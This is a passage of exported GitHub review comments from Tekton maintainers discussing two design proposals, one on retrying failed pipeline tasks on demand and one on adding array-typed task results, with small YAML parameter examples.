"comment_id": 629237868, "created_at": "2021-05-10T10:13:30Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "For CI use cases at least, unless we're 100% sure of that the different parts of the pipeline are perfectly independent, retrying a part of a pipeline might be a not a good practise, as it could lead to success for a pipeline that would normally have failed. \r\n\r\nIn case of a simple pipeline `(A) ---> (B)`, (A) may create some \"side-effect\" state in the test cluster that will not be there if we execute (B) alone. \r\n\r\nI think this would be very useful for pipelines that tasks that consume a lot of resources (CPU, network bandwidth or else). I suspect this might be implemented as an opt-in behaviour (even in the long run) for pipelines, as persisting the intermediate pipeline status might be expensive, both in terms of execution time as well as storage.", "comment_id": 629242650, "created_at": "2021-05-10T10:21:15Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "Could you elaborate a bit more on this? I'm not sure understand how this would work?", "comment_id": 629243932, "created_at": "2021-05-10T10:23:24Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "I suspect that implementing this will require us to implement features like checkpointing of a pipeline, that might be used to re-run a pipeline or parts of a pipeline even if it did not fail, but I think it's fine to restrict the focus of the TEP to the failed case only.", "comment_id": 629244990, "created_at": "2021-05-10T10:25:07Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "vdemeester", "body": "I don't really follow this too. As commented a bit, this is something that can (should probably) be handled externally from pipeline.", "comment_id": 629246262, "created_at": "2021-05-10T10:27:16Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "For this feature to work, the pipeline and taskruns in the retry execution will need access to the state of the previous run, so in case any of the state is deleted, the re-run will fail:\r\n- writable workspaces needs to be still available:\r\n - those provisioned by tekton will stick around until the pipelinerun is not deleted\r\n - those provided by users are not controller by tekton\r\n- results will be store in etcd in the original pipelinerun\r\n\r\nEven workspaces + results might not be enough though, since the initial tasks or a pipeline might setup state outside of the workspace (e.g. create a test cluster, provision a test service), and that state will be usually cleaned-up by the `finally` part of the pipeline. If the URI of the resources provisioned by initial tasks is exposed as results, those URIs can be passed to the new execution and if still valid the new execution could succeed.", "comment_id": 629258827, "created_at": "2021-05-10T10:49:24Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "At this point, we would like to focus on the problem statement itself, so will change this. It is not yet clear, what it would look like yet, it can be covered as part of proposal/design discussion. ", "comment_id": 629289473, "created_at": "2021-05-10T11:44:23Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "Will fix this, instead of explicitly stating API, we can say mechanism. And at the time of design discussion, we can define what that mechanism will look like precisely.", "comment_id": 629296539, "created_at": "2021-05-10T11:57:19Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "Will change this as per feedback !", "comment_id": 629305883, "created_at": "2021-05-10T12:12:34Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "> retrying a part of a pipeline might be a not a good practise, as it could lead to success for a pipeline that would normally have failed.\r\n\r\nThis could happen, if the pipeline author writes tasks unaware that they could be retried on a failure later. E.g. in your example, if (B) has a `if` check, that relied on the side effect that (A) produced and if A's side effect has somehow vanished. Then (B)'s course of execution that leads to success could be changed.\r\n\r\nIt is possible, that new course of action is desirable by the actor who `retried`. In other words, the responsibility of outcome, is shared between, the author of the pipeline/task and the actor who `retried`. \r\n\r\n`tektoncd`'s liability is limited to naively retrying failed tasks, if that leads to failure due to missing dependencies etc.. then, those errors are reported as is. ", "comment_id": 629326217, "created_at": "2021-05-10T12:42:39Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "This is more suited for our discussion during design, may be we can drop this section for now (i.e. current stage of discussing the problem statement).", "comment_id": 629333633, "created_at": "2021-05-10T12:53:46Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "will remove redundant goal", "comment_id": 629404014, "created_at": "2021-05-10T14:23:33Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "Focus of our TEP is retry failed tasks only.", "comment_id": 629404793, "created_at": "2021-05-10T14:24:32Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "Tomcli", "body": "We can implement it similar to \"cancel\" and \"pending\" on pipelinerun where we change the spec.status from failed to retry to trigger this action.", "comment_id": 629496554, "created_at": "2021-05-10T16:19:28Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "Tomcli", "body": "We put checkpoint as non-goal for now because we understand storing the state of the pipeline could be very complicated. Thus in this TEP we want to focus on how to manually retry the same pipelinerun just similar to how users cancel the pipelinerun.\r\n\r\nIf the information in etcd is not enough to retry the pipelinerun, then we may consider adding checkpoint as one of the requirements.", "comment_id": 629504028, "created_at": "2021-05-10T16:30:37Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "Therefore, opt-in behaviour makes perfect sense.", "comment_id": 630052944, "created_at": "2021-05-11T10:41:10Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "bobcatfish", "body": "> We already have the concept of rerun in Kubeflow pipeline where we are running the pipeline again with a new pipelineRun. One of the main problems we see is that some users might use pipelinerun.uid and pipelinerun name to distinguish their jobs. So we want a retry feature that can keep these Tekton context variables the same (like pipelinerun name and uid) when users retry the same job.\r\n\r\nThanks for explaining this @Tomcli - I think this could be a useful addition to the use cases section", "comment_id": 661681778, "created_at": "2021-06-30T17:34:41Z", "line": 113, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "bobcatfish", "body": "From the discussion, it sounds we need to add a requirement to the proposal that it be possible to reusue the exact same pipelinerun - without having to delete the previous one (and cause the cascading deletion of the the associated taskruns, pods, etc.).", "comment_id": 661681791, "created_at": "2021-06-30T17:34:43Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "NTI: The existing mechanism is for retry of a single `TaskRun`. ", "comment_id": 662905153, "created_at": "2021-07-02T10:17:20Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "This is quite different from a task retry - it's a pipeline retry. What happens with tasks that were not executed because they depend on a failed task or on a task that was running when the failure happened?\r\n\r\nIf we are talking about `PipelineRun` retry, the only safe way to I can think to implement this is to:\r\n- re-build a new pipeline status, using the failed pipeline as initial status\r\n- reset the status for failed tasks\r\n- reset the status for all finally tasks\r\n- start the normal DAG execution / reconcile on this `PipelineRun` \r\n\r\nThis means that no only failed tasks will be executed, but also those that were never executed will run if the failed one are successful in the re-run.", "comment_id": 662913439, "created_at": "2021-07-02T10:31:51Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "Indeed this is required, since there is no guarantee that the retry will be able to execute at all though, because finally tasks might have destroyed resources needed for the execution. Today we have to way to check for this on Tekton side because Tekton does not have a concept of resource which can be provisioned / clean / dirty / deleted.", "comment_id": 662917170, "created_at": "2021-07-02T10:38:45Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "I think that we should really not stop at failed tasks. Tasks that were not executed because of the failure should be executed too, if their requirements for execution are now satisfied.\r\n\r\nWe have a [TEP](https://github.com/tektoncd/community/blob/main/teps/0050-ignore-task-failures.md) about ignoring task failures (@pritidesai) - I'm not sure if that will end up with a Task being marked as failed and pipeline run execution continuing, or if the task will be marked as successful even though it failed, either case we should investigate the dependencies between the two TEPs.", "comment_id": 662921693, "created_at": "2021-07-02T10:46:59Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "I disagree with this one.\r\nTekton builds a DAG and already knows if a Task is schedulable based on the current execution status. We shall not forfeit this behaviour in case of re-run, I don't see why we would anyways.\r\n\r\nA Task may have more dependencies than those declared via the API (e.g. a folder in a workspace, a bucker in a cloud storage or else) - Tekton shall not try to detect and satisfy those dependencies as part of this TEP implementation. That would not be possible because Tekton has no knowledge today of such resources.\r\n\r\nTekton might have an abstraction about such resources in future. If that happens the retry functionality might also benefit from it, but not as part of this TEP :)", "comment_id": 662925527, "created_at": "2021-07-02T10:54:02Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "@Tomcli @ScrapCodes I think this is a really difficult requirement to satisfy - one might argue that if a system builds an abstraction on top of Tekton, that abstraction might have it's own IDs and those should be the one users can refer to. \r\n\r\nTekton has a strong association between the `PipelineRun` / `TaskRun` and the *single* execution of a `Pipeline` / `Task` respectively. The status of the resources and metrics are modelled under the assumption that the resource is executed once. Even in the case of pipeline task retries that exists today, a new `TaskRun` is created for each execution.\r\n\r\nIf we started having a second execution associated to the same ID, we would need to remodel the status resource, since we would need to be able to store an array of statuses. We would also need to consider what the implications are in terms of execution history (tekton results) and supply chain security (tekton chains).\r\n\r\nAn alternative solution might be to create a new `PipelineRun` and set a specific label that marks the new `PipelineRun` as being part of a set of retries of the original one. For instance we could have `tekton.dev/pipelineRunSeriesID: ` set on all pipelines (even the original execution).\r\nUsers, as well as tools (tkn, dashboard) could use that label to collate the retries together.\r\n\r\nYet another alternative could be to have a new CRD, which represents a group of pipelines, i.e. the original one and its retries. but again users would have to know they need to look for that resource instead of a pipelinerun.", "comment_id": 662932629, "created_at": "2021-07-02T11:07:50Z", "line": 113, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "I'm not convinced that this is a requirement we can easily satisfy, but I'm open for suggestions about how this might look like. One advantage of this approach, from a metrics point of view, is that we could possibly update the pipelinerun duration metric for include the original duration plus the new one, from the moment it was triggered.", "comment_id": 662934611, "created_at": "2021-07-02T11:11:37Z", "line": 118, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "I don't think this would not work. At the very minimum, that `PIpelineRun` condition would have to be reset, else the reconciler will exit right away. But what happens with the initial execution data, is that destroyed?\r\nWe do not have a concept of multiple execution of a single pipeline today, I think changing this may have many ramifications.\r\n\r\nCurrently we assume that completion time - start time is the pipeline run duration. This might have to be adjusted to account for the time the pipeline run was not executing at all.\r\nWhat happens with timeouts? Is a full new timeout granted to the pipelinerun execution? ", "comment_id": 662938308, "created_at": "2021-07-02T11:18:20Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "> I disagree with this one.\r\nTekton builds a DAG and already knows if a Task is schedulable based on the current execution status. We shall not forfeit this behaviour in case of re-run, I don't see why we would anyways.\r\n\r\nWe are not intending to forfeit the existing behaviour. The idea here is, the existing behaviour is not affected as part of this TEP. In-fact, if a PipelineRun is resumed, that means the task that depended on failed task also begin to execute, when failed task transitions to success. \r\n\r\nI will change it or remove the sentence to make it more clearer.", "comment_id": 662969053, "created_at": "2021-07-02T12:16:33Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "> This is quite different from a task retry - it's a pipeline retry. What happens with tasks that were not executed because they depend on a failed task or on a task that was running when the failure happened?\r\n\r\nWonder how this is different, once the `PipelineRun` is resumed, we clear status of failed tasks the same we do for `retries` as per current implementation.\r\n\r\nWhen task fails, its dependent tasks also fails, with this assumption \"a retry would make only the failed tasks run again, the successfully completed tasks are skipped.\"", "comment_id": 663009156, "created_at": "2021-07-02T13:22:22Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "ScrapCodes", "body": "> I think that we should really not stop at failed tasks. Tasks that were not executed because of the failure should be executed too, if their requirements for execution are now satisfied.\r\n\r\nWe wont stop at failed tasks. Somehow this is my lack of communication, by failed - I mean its dependent tasks included i.e. skipped.", "comment_id": 663016753, "created_at": "2021-07-02T13:33:46Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "bobcatfish", "body": "whoops thats not right, it would look like:\r\n\r\n```yaml\r\n params:\r\n - name: environments\r\n value:\r\n - 'staging'\r\n - 'qa'\r\n - 'prod'\r\n```", "comment_id": 671566749, "created_at": "2021-07-16T23:18:41Z", "line": 398, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "pierretasci", "body": "I don't think the benefit of the use case provided is addressed by these requirements. The key missing piece for me is dynamism. Already knowing the size of your array upfront is great and all but I think it is worth exploring with this effort how we can support variable sized arrays and perhaps even task generation based on some sort of template.", "comment_id": 673505911, "created_at": "2021-07-20T21:27:34Z", "line": 191, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "pierretasci", "body": "Can we not just use the same path and under-the-hood always use json with a `format` key telling us if the content is meant to be read out as a string, dict, or array?", "comment_id": 673506358, "created_at": "2021-07-20T21:28:19Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "pierretasci", "body": "We could at least partially validate this on the creation of the resource too", "comment_id": 673506821, "created_at": "2021-07-20T21:29:05Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "pierretasci", "body": "this is where I think dynamism could be super cool. What if we did:\r\n```suggestion\r\n tasks:\r\n - name: deploy\r\n params:\r\n - name: environment\r\n value: '$(params.environments[])'\r\n```\r\n\r\nHaving the non-indexed array there, similar to `jq` would produce a copy of task deploy for each valid in the input `params.environments`. Seems fairly straight-forward and a reasonable addition to the api.", "comment_id": 673508137, "created_at": "2021-07-20T21:31:37Z", "line": 414, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": null, "body": "I think it would require `type: array` as well? At least for task params this is required I think.", "comment_id": 675654614, "created_at": "2021-07-23T15:31:53Z", "line": 398, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "The `task-loop` custom task supports today taking a multiline string as alternative to an array - exactly for the same reason, to enable consuming `results` as input to loops.\r\nThis means highly dynamic pipeline definition, but I'm perfectly ok with it :)\r\nHaving an array of results would provide better support compared to the multiline string hack.", "comment_id": 680995538, "created_at": "2021-08-02T13:59:05Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "+100", "comment_id": 680996201, "created_at": "2021-08-02T13:59:51Z", "line": 49, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "I would extend this by saying that we also need to be capture results from a loop.\r\nIt we build an array of container images, we need to be able to get back an arrays of results.\r\nIn general, it is not possible to use a task with results in a loop because of this today.", "comment_id": 681000263, "created_at": "2021-08-02T14:05:08Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "Since looping is not part of the core API today, I wonder if we could add another use case here.\r\nEven if an array is not used as an input to a loop, it might be used as args for another task.\r\nI could have a task that builds the args for the next task, by producing an array of parameters.", "comment_id": 681001739, "created_at": "2021-08-02T14:07:01Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "I think there's no use case defined to support the indexing goal.\r\nIf we add indexing, we might need to introduce an operator that allows checking the size of an array too?", "comment_id": 681006917, "created_at": "2021-08-02T14:13:32Z", "line": 57, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "Dynamism here is supported using task loops, since you don't need to know the size of the array there, you just pass the whole array and the custom controller does the rest.\r\nEventually we should get loops into the main API to support what you're asking for without the need for custom tasks.\r\n\r\nI'm not sure tbh what the use case for indexing is?", "comment_id": 681008880, "created_at": "2021-08-02T14:15:47Z", "line": 191, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "It makes sense, I kind of struggle to imaging an actual example though.\r\nI would need an array parameter where certain positions in the array hold special meaning I guess? ", "comment_id": 681041607, "created_at": "2021-08-02T14:55:15Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "vdemeester", "body": "I'm still not sold on having loop support in pipeline itself (aka as a custom task looks just fine to me).", "comment_id": 683553124, "created_at": "2021-08-05T15:18:34Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "vdemeester", "body": "Good point \ud83d\ude05 ", "comment_id": 683554108, "created_at": "2021-08-05T15:19:38Z", "line": 57, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "vdemeester", "body": "+:100: on what @afrittoli just wrote. Given the current feature set of pipeline, I think that should appear as the main use case \ud83d\udc7c\ud83c\udffc ", "comment_id": 683557283, "created_at": "2021-08-05T15:23:02Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "vdemeester", "body": "Any reason for going `json` vs another format ? ", "comment_id": 683559702, "created_at": "2021-08-05T15:25:38Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "vdemeester", "body": "And potential issues ? (if someone write a complex json file, what do we do ?)", "comment_id": 683560291, "created_at": "2021-08-05T15:26:18Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "vdemeester", "body": "I disagree there, or at least in the scope of the TEP. This might be something that appear confusing to the users, and most importantly, I would like to make sure we really need this (and custom task are not enough) before commiting to that level of complexity.", "comment_id": 683562852, "created_at": "2021-08-05T15:28:56Z", "line": 414, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "vdemeester", "body": "Any possible problem if the arrays is huge (a \"from a task\" attach that would write a 10M array json file for example) ?", "comment_id": 683563609, "created_at": "2021-08-05T15:29:46Z", "line": 500, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "vdemeester", "body": "This is definitely a valid concern, not really highlighted above I think. What happens to those use-cases once we rely solely on the json syntax for results ? How a user can pass a json as a string result ?", "comment_id": 683565512, "created_at": "2021-08-05T15:32:03Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "pierretasci", "body": "I can think of many use cases related to test sharding where this would be super useful. We also have many \"build these X services and deploy them to an ephemeral cluster\" uses cases. All involve a ton of copy+pasta of the same exact spec with different params", "comment_id": 683582705, "created_at": "2021-08-05T15:53:17Z", "line": 414, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "pierretasci", "body": "Obviously, it could be a custom tasks but I think this is such a powerful feature that it deserves to be in the core API. If for no other reason than once you add the dynamism of looping, you add an extra dimension which Tekton can be extended on. Once you have looping, you can now support trivial replication fan-out, or conditional looping with when expressions, etc all with existing primitives.", "comment_id": 683584812, "created_at": "2021-08-05T15:55:56Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "vdemeester", "body": "Right, but as of today, this is what `task-loop` custom task is there for, isn't it ?", "comment_id": 683602559, "created_at": "2021-08-05T16:19:01Z", "line": 414, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "that is a GREAT idea! :D", "comment_id": 690543874, "created_at": "2021-08-17T16:42:26Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "@pierretasci 100% agree with the test sharding use case and i have a languishing todo list item about trying to write up a TEP about better supporting test sharding specifically (which ultimately would lead to needing looping support)\r\n\r\nI also agree with @vdemeester though that I don't personally see that as being exaclty within the scope of this particular TEP to add looping support BUT I _do_ see array result support as a requirement for being able to support looping (and sharding) - and maybe that's what you're getting at @pierretasci (not that this TEP includes implementing looping, but that we need this TEP for looping and sharding is a great use case to list to justify adding array results)", "comment_id": 690546863, "created_at": "2021-08-17T16:45:55Z", "line": 414, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "Ahh interesting, this makes me think of 2 more use cases we could add (let me know if this is what you're thinking too or if I'm missing the point):\r\n\r\n1. If the \"loop\" is inside of the Task, e.g. if a task knew how to take an array of dockerfile locations and build each of them, then I think I agree that you'd need to be able to produce an array of results in order to contain the results of each iteration (maybe i can add this as a use case and use our [release publish task](https://github.com/tektoncd/pipeline/blob/main/tekton/publish.yaml) as an example - it builds mulitple images AND it loops over them and publishes them to multiple locations resulting in multiple URLs)\r\n2. It seems like it's important to let custom tasks (via Runs) emit array results because you don't know what kind of looping or other logic they might contain - e.g. [the existing looping custom task mentions the fact that it doesnt create results as a limitation](https://github.com/tektoncd/experimental/tree/main/task-loops#limitations) - and with the current interface, it would have to combine the results of each task into a string\r\n\r\n(the last question would be what does the results interface look like if we support looping directly in the Tekton API but we can leave that for a looping focused TEP :D)", "comment_id": 690554561, "created_at": "2021-08-17T16:55:49Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "@vdemeester do you have any other formats you'd suggest? off the top of my head all I can think of are:\r\n\r\n* yaml (i dont think there is a syntax like jsonpath available for yaml? i.e. it'd be harder to expose via variable replacement - or we'd need to convert from yaml to json internally)\r\n* protobuf (this would dramatically increase the difficulty in emitting structured results from tasks - either we'd see every Task including a step with protobuf tools in it or we'd need to include some by default)\r\n* xml (seems more verbose than we'd need?)\r\n* csv (would also be easy to use but afaik it wouldn't support more complex types like dicts? or we'd need to add some kind of syntax on top of the csv format to define more complex types)\r\n\r\nas for why json I'd say because:\r\n* it's human readable and so it's ~easy~ possible for folks to write json content without needing extra tools\r\n* we've added json specific support to other parts of our APIs (e.g. [in triggers](https://github.com/tektoncd/triggers/blob/f2380d7d33666547ee7ed965730cf7dbc1aa5421/docs/triggerbindings.md#accessing-data-in-http-json-payloads))\r\n* yaml and json are the two formats that k8s is using so I think it makes sense to use one of those", "comment_id": 690560473, "created_at": "2021-08-17T17:03:38Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "could you explain a bit more? I'm not sure how we'd know until runtime that something was written to the file in an unexpected format", "comment_id": 690561068, "created_at": "2021-08-17T17:04:33Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "whoops! thanks :D", "comment_id": 690561260, "created_at": "2021-08-17T17:04:48Z", "line": 398, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "the original proposal was that users when users wanted to emit something other than a string, they'd write it to the `.json` file - otherwise anything they write to the results file would be treated as just a string so they wouldn't need to change anything (i.e. we'd never rely soley on json syntax for results - we'd support both the current \"string\" syntax and the json syntax)\r\n\r\n@pierretasci and @sbwsg pointed out an improvement we could make where we can (have our \ud83c\udf70 and eat it to) support both without needing to introduce a new results file - we'd rely on how the Task defines the result in its spec to tell us if what we encounter in the file should be treated as json or treated as a string)", "comment_id": 690563646, "created_at": "2021-08-17T17:07:58Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "pierretasci", "body": "Yeah that is what I mean. We can validate it at runtime and potentially fail the pipeline", "comment_id": 690587481, "created_at": "2021-08-17T17:40:45Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "pierretasci", "body": "Well I was specifically advocating for supporting it directly in the Tekton API because I think that unlocks many more use-cases but I can also see the argument against.", "comment_id": 690588085, "created_at": "2021-08-17T17:41:37Z", "line": 414, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "or maybe a better way to state it, and maybe this is more what you were getting at @afrittoli, is supporting looping where you both need to **consume** array results (to loop over) and **produce** array results (from those loops)", "comment_id": 690591843, "created_at": "2021-08-17T17:46:49Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "i am \ud83d\udcaf in favor of looping in the pipelines api at this point but i think we need to explore the use cases and alternatives a bit (and hopefully @vdemeester will find them convincing :D )", "comment_id": 690778924, "created_at": "2021-08-17T22:59:32Z", "line": 414, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "if [the termination message ended up being > 4096 bytes it would get truncated](https://kubernetes.io/docs/tasks/debug-application-cluster/determine-reason-pod-failure/#customizing-the-termination-message) (and end up being invalid json and the taskrun would fail) (unless as suggested in https://github.com/tektoncd/pipeline/issues/4012 we adopt an alternative) - anyway ill mention this in the TEP", "comment_id": 690779989, "created_at": "2021-08-17T23:02:03Z", "line": 500, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "> if someone write a complex json file, what do we do \r\n\r\ni think we'd simply bail out of evaluating the json as soon as it doesn't match the expected schema (which i think the \"notes/caveats\" tries to address but ill try to make it more clear) and also given the size limits, there's a limit on how complex the json file can be (maybe you have some specific scenario in mind tho?)", "comment_id": 691425903, "created_at": "2021-08-18T16:39:18Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "| if someone write a complex json file, what do we do\r\n\r\nill add something to the testing section as well to make sure this is covered (a deeply nested dictionary is the most complex scenario i can think of?)", "comment_id": 691442386, "created_at": "2021-08-18T17:00:45Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "i just realized i dont think i included a single example of how you actually specify a result with that type either XD", "comment_id": 691445711, "created_at": "2021-08-18T17:05:30Z", "line": 398, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": null, "body": "nit: missing word I think. `Using this as a result would require [something] which this TEP is not`", "comment_id": 691502726, "created_at": "2021-08-18T18:26:06Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "whoops thanks @sbwsg !! i think [something] is 'supporting nested arrays'", "comment_id": 691629841, "created_at": "2021-08-18T21:52:34Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "... and then i forgot to fix it again XD", "comment_id": 693183128, "created_at": "2021-08-20T19:48:37Z", "line": 398, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "aaaaand the values should be in the pipelinerun not the pipeline .. wheeee.....", "comment_id": 693187593, "created_at": "2021-08-20T19:58:04Z", "line": 398, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "i think i finally fixed it XD", "comment_id": 693249890, "created_at": "2021-08-20T22:37:01Z", "line": 398, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "@mattmoor pointed out today that another good option would be to adopt [the open api spec](https://github.com/OAI/OpenAPI-Specification/blob/main/versions/3.0.0.md) that CRDs use to day\r\n\r\nTODO: explore as an alternative", "comment_id": 694136694, "created_at": "2021-08-23T16:42:19Z", "line": 239, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "TODO: rewrite this block its very confusing", "comment_id": 703907764, "created_at": "2021-09-07T22:59:45Z", "line": 47, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "ah this actually makes more sense as a json schema alternative - going to add a \"why json schema\" section to https://github.com/tektoncd/community/pull/479 - and TL;DR it seems like Open API schemas might be a slightly better (more consistent with k8s and with what we want) approach for schemas but we don't need to cross that bridge until we expand our schema support", "comment_id": 704861280, "created_at": "2021-09-09T00:21:11Z", "line": 239, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bendory", "body": "nit: this renders as `1.` when `3.` is expected, not sure why that's happening", "comment_id": 708380813, "created_at": "2021-09-14T15:20:10Z", "line": 164, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "afrittoli", "body": "NIT: togther -> together", "comment_id": 730939438, "created_at": "2021-10-18T13:47:06Z", "line": null, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "Tomcli", "body": "This could be helpful in loops when we want to loop over certain indices of the array. But if the loop reconciler can take the `results` as strings and extract them into arrays, then we can workaround without array indexing.", "comment_id": 738838741, "created_at": "2021-10-28T23:25:44Z", "line": 57, "path": "teps/0076-array-result-types.md", "pr_number": 477, "repo": "community"} +{"author": "bobcatfish", "body": "another +1 to including the size as a variable replacement, that could be a way to solve https://github.com/tektoncd/pipeline/issues/4097\r\n\r\n(will need to check if json schema provides something like this or if we would need to pave new ground)", "comment_id": 759527467, 